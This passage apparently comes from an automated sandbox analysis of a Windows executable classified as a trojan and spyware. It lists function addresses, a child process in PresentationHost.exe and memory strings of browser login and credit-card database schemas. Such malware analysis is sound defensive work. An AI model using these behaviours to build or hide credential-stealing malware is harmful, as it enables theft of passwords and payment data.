            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A895C38_2_33A895C3
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A775718_2_33A77571
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7F43F8_2_33A7F43F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B14608_2_339B1460
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DFB808_2_339DFB80
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A35BF08_2_33A35BF0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339FDBF98_2_339FDBF9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7FB768_2_33A7FB76
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A61AA38_2_33A61AA3
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5DAAC8_2_33A5DAAC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6DAC68_2_33A6DAC6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A33A6C8_2_33A33A6C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A77A468_2_33A77A46
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7FA498_2_33A7FA49
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C59908_2_339C5990
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A559108_2_33A55910
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C99508_2_339C9950
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DB9508_2_339DB950
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C38E08_2_339C38E0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A2D8008_2_33A2D800
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1F928_2_339C1F92
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7FFB18_2_33A7FFB1
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7FF098_2_33A7FF09
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C9EB08_2_339C9EB0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DFDC08_2_339DFDC0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A77D738_2_33A77D73
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A71D5A8_2_33A71D5A
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7FCF28_2_33A7FCF2
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A39C328_2_33A39C32
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A803E68_2_33A803E6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CE3F08_2_339CE3F0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7A3528_2_33A7A352
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A402C08_2_33A402C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A801AA8_2_33A801AA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A741A28_2_33A741A2
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A821AE8_2_33A821AE
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A781CC8_2_33A781CC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B01008_2_339B0100
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5A1188_2_33A5A118
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A481588_2_33A48158
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A520008_2_33A52000
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BC7C08_2_339BC7C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E47508_2_339E4750
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C07708_2_339C0770
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DC6E08_2_339DC6E0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A805918_2_33A80591
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C05358_2_339C0535
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6E4F68_2_33A6E4F6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A644208_2_33A64420
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A724468_2_33A72446
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7EB898_2_33A7EB89
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A76BD78_2_33A76BD7
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7AB408_2_33A7AB40
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BEA808_2_339BEA80
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A8A9A68_2_33A8A9A6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C29A08_2_339C29A0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D69628_2_339D6962
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A68B88_2_339A68B8
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339EE8F08_2_339EE8F0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CA8408_2_339CA840
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3EFA08_2_33A3EFA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B2FC88_2_339B2FC8
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A02F288_2_33A02F28
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A62F308_2_33A62F30
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E0F308_2_339E0F30
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A34F408_2_33A34F40
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D2E908_2_339D2E90
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7CE938_2_33A7CE93
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7EEDB8_2_33A7EEDB
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7EE268_2_33A7EE26
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C0E598_2_339C0E59
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D8DBF8_2_339D8DBF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C8DC08_2_339C8DC0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BADE08_2_339BADE0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CAD008_2_339CAD00
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5CD1F8_2_33A5CD1F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B0CF28_2_339B0CF2
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C0C008_2_339C0C00
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CEC608_2_339CEC60
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D5A5B511_2_04D5A5B5
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D43FD511_2_04D43FD5
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D3B7B511_2_04D3B7B5
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D3B7AC11_2_04D3B7AC
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D421D511_2_04D421D5
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D3B9D511_2_04D3B9D5
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D399C511_2_04D399C5
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D39B1511_2_04D39B15
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_04D39B0911_2_04D39B09
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BE87B211_2_07BE87B2
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BE1FB211_2_07BE1FB2
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BDFFA211_2_07BDFFA2
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BDFF9A11_2_07BDFF9A
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BE6F2211_2_07BE6F22
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BEA5B211_2_07BEA5B2
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BE1D9211_2_07BE1D92
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BE1D8911_2_07BE1D89
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07C00B9211_2_07C00B92
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BE00F211_2_07BE00F2
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 11_2_07BE00E611_2_07BE00E6
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052E053512_2_052E0535
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053A059112_2_053A0591
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0538442012_2_05384420
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539244612_2_05392446
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0538E4F612_2_0538E4F6
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052E077012_2_052E0770
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0530475012_2_05304750
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052DC7C012_2_052DC7C0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052FC6E012_2_052FC6E0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052D010012_2_052D0100
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0537A11812_2_0537A118
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0536815812_2_05368158
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053A01AA12_2_053A01AA
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053A21AE12_2_053A21AE
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053941A212_2_053941A2
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053981CC12_2_053981CC
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0537200012_2_05372000
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539A35212_2_0539A352
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053A03E612_2_053A03E6
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052EE3F012_2_052EE3F0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053602C012_2_053602C0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0537CD1F12_2_0537CD1F
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052EAD0012_2_052EAD00
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052F8DBF12_2_052F8DBF
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052DADE012_2_052DADE0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052E8DC012_2_052E8DC0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052E0C0012_2_052E0C00
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052D0CF212_2_052D0CF2
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05300F3012_2_05300F30
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05382F3012_2_05382F30
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05322F2812_2_05322F28
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05354F4012_2_05354F40
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0535EFA012_2_0535EFA0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052D2FC812_2_052D2FC8
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539EE2612_2_0539EE26
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539CE9312_2_0539CE93
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052F2E9012_2_052F2E90
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539EEDB12_2_0539EEDB
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052F696212_2_052F6962
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052E29A012_2_052E29A0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052EA84012_2_052EA840
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052C68B812_2_052C68B8
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0530E8F012_2_0530E8F0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539AB4012_2_0539AB40
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539EB8912_2_0539EB89
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05396BD712_2_05396BD7
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052DEA8012_2_052DEA80
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539757112_2_05397571
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0537D5B012_2_0537D5B0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539F43F12_2_0539F43F
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052D146012_2_052D1460
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539F7B012_2_0539F7B0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052D17EC12_2_052D17EC
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0532563012_2_05325630
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053916CC12_2_053916CC
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053AB16B12_2_053AB16B
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0531516C12_2_0531516C
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052CF17212_2_052CF172
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052EB1B012_2_052EB1B0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053970E912_2_053970E9
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539F0E012_2_0539F0E0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0538F0CC12_2_0538F0CC
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539132D12_2_0539132D
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052CD34C12_2_052CD34C
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052E52A012_2_052E52A0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_053812ED12_2_053812ED
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052FD2F012_2_052FD2F0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052FB2C012_2_052FB2C0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05397D7312_2_05397D73
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05391D5A12_2_05391D5A
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052FFDC012_2_052FFDC0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05359C3212_2_05359C32
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539FCF212_2_0539FCF2
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539FF0912_2_0539FF09
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539FFB112_2_0539FFB1
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052E1F9212_2_052E1F92
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052A3FD212_2_052A3FD2
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052A3FD512_2_052A3FD5
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052E9EB012_2_052E9EB0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0537591012_2_05375910
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052E995012_2_052E9950
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052FB95012_2_052FB950
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052E599012_2_052E5990
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0534D80012_2_0534D800
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052E38E012_2_052E38E0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539FB7612_2_0539FB76
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_052FFB8012_2_052FFB80
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05355BF012_2_05355BF0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0531DBF912_2_0531DBF9
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05353A6C12_2_05353A6C
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0539FA4912_2_0539FA49
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05397A4612_2_05397A46
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0537DAAC12_2_0537DAAC
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_05381AA312_2_05381AA3
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_0538DAC612_2_0538DAC6
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F7241012_2_02F72410
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F8C08012_2_02F8C080
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F6D28012_2_02F6D280
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F6D27712_2_02F6D277
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F6D4A012_2_02F6D4A0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F6B49012_2_02F6B490
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F6B48812_2_02F6B488
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F6B5E012_2_02F6B5E0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F6B5D412_2_02F6B5D4
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F75AA012_2_02F75AA0
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F73CA012_2_02F73CA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: String function: 33A2EA12 appears 76 times
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: String function: 339AB970 appears 225 times
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: String function: 33A07E54 appears 103 times
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: String function: 33A3F290 appears 98 times
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: String function: 339F5130 appears 53 times
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: String function: 0534EA12 appears 76 times
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: String function: 0535F290 appears 98 times
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: String function: 05315130 appears 53 times
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: String function: 052CB970 appears 210 times
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: String function: 05327E54 appears 96 times
            Source: mF8WNclxnv.exeStatic PE information: invalid certificate
            Source: mF8WNclxnv.exe, 00000008.00000003.2241843226.0000000033761000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePresentationHost.exej% vs mF8WNclxnv.exe
            Source: mF8WNclxnv.exe, 00000008.00000003.2182217941.00000000338FD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs mF8WNclxnv.exe
            Source: mF8WNclxnv.exe, 00000008.00000002.2314678715.0000000033C51000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs mF8WNclxnv.exe
            Source: mF8WNclxnv.exe, 00000008.00000003.2179625223.000000003374B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs mF8WNclxnv.exe
            Source: mF8WNclxnv.exe, 00000008.00000003.2241933753.000000003379E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePresentationHost.exej% vs mF8WNclxnv.exe
            Source: mF8WNclxnv.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/24@10/8
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_004033B6 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004033B6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_0040486A GetDiskFreeSpaceW,MulDiv,0_2_0040486A
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_004020FB CoCreateInstance,0_2_004020FB
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeFile created: C:\Users\user\AppData\Local\Densitometriens.iniJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeFile created: C:\Users\user\AppData\Local\Temp\nsp9231.tmpJump to behavior
            Source: mF8WNclxnv.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: PresentationHost.exe, 0000000C.00000002.3425025369.00000000033B4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE logins (origin_url VARCHAR NOT NULL, action_url VARCHAR, username_element VARCHAR, username_value VARCHAR, password_element VARCHAR, password_value BLOB, submit_element VARCHAR, signon_realm VARCHAR NOT NULL, date_created INTEGER NOT NULL, blacklisted_by_user INTEGER NOT NULL, scheme INTEGER NOT NULL, password_type INTEGER, times_used INTEGER, form_d0J;
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.00000000083B6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE credit_cards (guid VARCHAR PRIMARY KEY, name_on_card VARCHAR, expiration_month INTEGER, expiration_year Ihg;
            Source: PresentationHost.exe, 0000000C.00000002.3425025369.00000000033B4000.00000004.00000020.00020000.00000000.sdmp, PresentationHost.exe, 0000000C.00000002.3425025369.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, PresentationHost.exe, 0000000C.00000002.3425025369.0000000003403000.00000004.00000020.00020000.00000000.sdmp, PresentationHost.exe, 0000000C.00000002.3425025369.00000000033E1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: mF8WNclxnv.exeVirustotal: Detection: 68%
            Source: mF8WNclxnv.exeReversingLabs: Detection: 52%
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeFile read: C:\Users\user\Desktop\mF8WNclxnv.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\mF8WNclxnv.exe "C:\Users\user\Desktop\mF8WNclxnv.exe"
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeProcess created: C:\Users\user\Desktop\mF8WNclxnv.exe "C:\Users\user\Desktop\mF8WNclxnv.exe"
